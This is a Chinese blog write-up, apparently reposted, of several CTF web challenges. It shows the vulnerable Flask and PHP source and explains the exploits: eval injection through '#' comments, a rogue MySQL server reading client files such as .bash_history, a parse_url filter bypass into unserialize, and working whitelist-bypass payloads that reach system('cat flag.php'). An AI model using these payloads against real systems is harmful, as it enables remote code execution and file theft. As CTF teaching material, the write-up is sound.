拖了好长时间,总结一下这一段时间做的几道值得记录一下的题目,有的没做出来,但是学习到了新的东西
ddctf的一道题目,学到了python eval函数的用法,首先分析题目:
# -*- encoding: utf-8 -*- # written in python 2.7 __author__ = ‘garzon‘ from flask import Flask, session, request, Response import urllib app = Flask(__name__) app.secret_key = ‘*********************‘ # censored url_prefix = ‘/d5af31f99147e857‘ def FLAG(): return ‘FLAG_is_here_but_i_wont_show_you‘ # censored def trigger_event(event): session[‘log‘].append(event) if len(session[‘log‘]) > 5: session[‘log‘] = session[‘log‘][-5:] if type(event) == type([]): request.event_queue += event else: request.event_queue.append(event) def get_mid_str(haystack, prefix, postfix=None): haystack = haystack[haystack.find(prefix) + len(prefix):] if postfix is not None: haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException: pass def execute_event_loop(): valid_event_chars = set(‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#‘) resp = None while len(request.event_queue) > 0: event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......" request.event_queue = request.event_queue[1:] if not event.startswith((‘action:‘, ‘func:‘)): continue for c in event: if c not in valid_event_chars: break else: is_action = event[0] == ‘a‘ action = get_mid_str(event, ‘:‘, ‘;‘) # index args = get_mid_str(event, action + ‘;‘).split(‘#‘) #True#True try: event_handler = eval(action + (‘_handler‘ if is_action else ‘_function‘)) ret_val = event_handler(args) except RollBackException: if resp is None: resp = ‘‘ resp += ‘ERROR! All transactions have been cancelled. <br />‘ resp += ‘<a href="./?action:view;index">Go back to index.html</a><br />‘ session[‘num_items‘] = request.prev_session[‘num_items‘] session[‘points‘] = request.prev_session[‘points‘] break except Exception, e: if resp is None: resp = ‘‘ # resp += str(e) # only for debugging continue if ret_val is not None: if resp is None: resp = ret_val else: resp += ret_val if resp is None or resp == ‘‘: resp = (‘404 NOT FOUND‘, 404) session.modified = True return resp @app.route(url_prefix + ‘/‘) def entry_point(): querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == ‘‘ or (not querystring.startswith(‘action:‘)) or len(querystring) > 100: querystring = ‘action:index;False#False‘ if ‘num_items‘ not in session: session[‘num_items‘] = 0 session[‘points‘] = 3 session[‘log‘] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() # handlers/functions below -------------------------------------- def view_handler(args): page = args[0] html = ‘‘ html += ‘[INFO] you have {} diamonds, {} points now.<br />‘.format(session[‘num_items‘], session[‘points‘]) if page == ‘index‘: html += ‘<a href="./?action:index;True%23False">View source code</a><br />‘ html += ‘<a href="./?action:view;shop">Go to e-shop</a><br />‘ html += ‘<a href="./?action:view;reset">Reset</a><br />‘ elif page == ‘shop‘: html += ‘<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />‘ elif page == ‘reset‘: del session[‘num_items‘] html += ‘Session reset.<br />‘ html += ‘<a href="./?action:view;index">Go back to index.html</a><br />‘ return html def index_handler(args): bool_show_source = str(args[0]) bool_download_source = str(args[1]) if bool_show_source == ‘True‘: source = open(‘eventLoop.py‘, ‘r‘) html = ‘‘ if bool_download_source != ‘True‘: html += ‘<a href="./?action:index;True%23True">Download this .py file</a><br />‘ html += ‘<a href="./?action:view;index">Go back to index.html</a><br />‘ for line in source: if bool_download_source != ‘True‘: html += line.replace(‘&‘, ‘&‘).replace(‘\t‘, ‘ ‘ * 4).replace(‘ ‘, ‘ ‘).replace(‘<‘, ‘<‘).replace( ‘>‘, ‘>‘).replace(‘\n‘, ‘<br />‘) else: html += line source.close() if bool_download_source == ‘True‘: headers = {} headers[‘Content-Type‘] = ‘text/plain‘ headers[‘Content-Disposition‘] = ‘attachment; filename=serve.py‘ return Response(html, headers=headers) else: return html else: trigger_event(‘action:view;index‘) def buy_handler(args): num_items = int(args[0]) if num_items <= 0: return ‘invalid number({}) of diamonds to buy<br />‘.format(args[0]) session[‘num_items‘] += num_items trigger_event([‘func:consume_point;{}‘.format(num_items), ‘action:view;index‘]) def consume_point_function(args): point_to_consume = int(args[0]) if session[‘points‘] < point_to_consume: raise RollBackException() session[‘points‘] -= point_to_consume def show_flag_function(args): flag = args[0] # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it. return ‘You naughty boy! ;) <br />‘ def get_flag_handler(args): if session[‘num_items‘] >= 5: trigger_event(‘func:show_flag;‘ + FLAG()) # show_flag_function has been disabled, no worries trigger_event(‘action:view;index‘) if __name__ == ‘__main__‘: app.run(debug=False, host=‘0.0.0.0‘)
这道题目首先通读源码是必须的,另一个必须要了解到的出题点在eval()函数这个地方,eval中可以传入#来注释掉后面的部分
从上图可以看出来,此时eval会忽略掉#后面的所有字符串,以及要做出这道题的另一个点:
打破程序进行的流程,先加钻石数量再检验钱数,并且可以给事件传入一个列表,那么先加钻石,在检验钱之前去getflag即可,而且这里会把flag带到log中去,总之就是在一个正常的处理序列中去插入一个新的事件,因为eval这里可控,所以刚开始就应该反映到出题点
在这里!
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 12/1/2019 2:58 PM # @Author : fz # @Site : # @File : agent.py # @Software: PyCharm import json from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler from optparse import OptionParser from subprocess import Popen, PIPE class RequestHandler(BaseHTTPRequestHandler): def do_GET(self): request_path = self.path print("\n----- Request Start ----->\n") print("request_path :", request_path) print("self.headers :", self.headers) print("<----- Request End -----\n") self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.end_headers() result = self._func() self.wfile.write(json.dumps(result)) def do_POST(self): request_path = self.path # print("\n----- Request Start ----->\n") print("request_path : %s", request_path) request_headers = self.headers content_length = request_headers.getheaders(‘content-length‘) length = int(content_length[0]) if content_length else 0 # print("length :", length) print("request_headers : %s" % request_headers) print("content : %s" % self.rfile.read(length)) # print("<----- Request End -----\n") self.send_response(200) self.send_header("Set-Cookie", "foo=bar") self.end_headers() result = self._func() self.wfile.write(json.dumps(result)) def _func(self): netstat = Popen([‘netstat‘, ‘-tlnp‘], stdout=PIPE) netstat.wait() ps_list = netstat.stdout.readlines() result = [] for item in ps_list[2:]: tmp = item.split() Local_Address = tmp[3] Process_name = tmp[6] tmp_dic = {‘local_address‘: Local_Address, ‘Process_name‘: Process_name} result.append(tmp_dic) return result do_PUT = do_POST do_DELETE = do_GET def main(): port = 8123 print(‘Listening on localhost:%s‘ % port) server = HTTPServer((‘0.0.0.0‘, port), RequestHandler) server.serve_forever() if __name__ == "__main__": parser = OptionParser() parser.usage = ( "Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n" "Run:\n\n") (options, args) = parser.parse_args() main()
这道题主要是来攻击mysql连接的客户端,这个题目给了agent.py 是用来检测是不是服务器上存在mysqld进程,而判断是通过do_get和do_post两个函数确定的,这两个函数都会调用_func函数,返回进程名,然后do_get 和do_post再把_func的返回值输出,
所以只需要让最后输出的存在mysqld就行了,然后就可以在服务器上读取客户端的文件。
这里读取客户端的.mysql_histoty文件,这个文件存储了用户登陆mysql服务器所执行的命令,也可以读取.bash_history
在这里又可以读到web的源码地址,所以可以继续读取它:
在这里能够发现flag所在的库和表,所以就可以读取表中的内容,又因为linux下,mysql安装后,数据库的数据默认存放在/var/lib/mysql目录下,所以可以直接访问其中的库表,所以可以直接读取
/var/lib/mysql/security/flag.ibd
这道题比较常规
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo ‘Missing parameter‘.‘<br>‘; } if(preg_match("/flag/",$file)){ die(‘hack attacked!!!‘); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER[‘REQUEST_URI‘]); parse_str($url[‘query‘],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die(‘stop hacking!‘); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>
这里主要记录一下绕过parse_url,这里会检测flag字符串,但是要是让parse_url
这样就能使parse_url返回false,这样绕过对flag的过滤,然后后面就是常规的反序列化漏洞,这里要记住最后的序列化的数据因为有不可见字符所以需要urlencode一下
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET[‘c‘])){ show_source(__FILE__); }else{ //例子 c=20-1 $content = $_GET[‘c‘]; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [‘ ‘, ‘\t‘, ‘\r‘, ‘\n‘,‘\‘‘, ‘"‘, ‘`‘, ‘\[‘, ‘\]‘]; foreach ($blacklist as $blackitem) { if (preg_match(‘/‘ . $blackitem . ‘/m‘, $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = [‘abs‘, ‘acos‘, ‘acosh‘, ‘asin‘, ‘asinh‘, ‘atan2‘, ‘atan‘, ‘atanh‘, ‘base_convert‘, ‘bindec‘, ‘ceil‘, ‘cos‘, ‘cosh‘, ‘decbin‘, ‘dechex‘, ‘decoct‘, ‘deg2rad‘, ‘exp‘, ‘expm1‘, ‘floor‘, ‘fmod‘, ‘getrandmax‘, ‘hexdec‘, ‘hypot‘, ‘is_finite‘, ‘is_infinite‘, ‘is_nan‘, ‘lcg_value‘, ‘log10‘, ‘log1p‘, ‘log‘, ‘max‘, ‘min‘, ‘mt_getrandmax‘, ‘mt_rand‘, ‘mt_srand‘, ‘octdec‘, ‘pi‘, ‘pow‘, ‘rad2deg‘, ‘rand‘, ‘round‘, ‘sin‘, ‘sinh‘, ‘sqrt‘, ‘srand‘, ‘tan‘, ‘tanh‘]; preg_match_all(‘/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/‘, $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval(‘echo ‘.$content.‘;‘); }
方法一:
这道题主要还是构造没有字母的shell,这里面又提供了进制转换的函数base_convert(),说明可以用0-9a-z 36个字符,那么就可以构造shell,这里主要通过分析一个payload:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat flag.php
这里通过构造动态函数,首先base_convert()构造hex2bin,把16进制转换为字符串,再通过“_GET” -> 16进制表示,再到10进制表示,然后反过来dechex()->hex2bin(),然后结合动态函数
比如$a="_GET";$$a{c}(($$a){d}); 这样将实际的payload放在GET参数中,从而来减小长度。
另外一个点是php的数组不仅可以通过[]来进行索引,还可以通过{}来进行索引。
方法2:
另一种构造出_GET的方法是通过异或字符串:
比如要得到_G,则可以通过:
具体怎么得出:可以通过“_G”和两个字符异或:
for($j=0;$j<10;$j = $j+1){ for($i=0;$i<10;$i = $i+1){ echo $i.$j." "; echo "_G"^($j).($i); echo "\n"; }}
可以得到两位字符串,这里也可以选3位或者4位跑,但是因为得到的字符串需要在白名单里面找,所以太长了找不到,所以选两位最好,一位会增加payload长度,因此is是在白名单里存在的,所以就可以使用,同样的方法去找“ET”,最后
还是去构造动态函数就可以了。
$abs=(is_finite^(6).(4)).(rad2deg^(7).(5));$$abs{acos}($$abs{ceil})
原文:https://www.cnblogs.com/wfzWebSecuity/p/10747867.html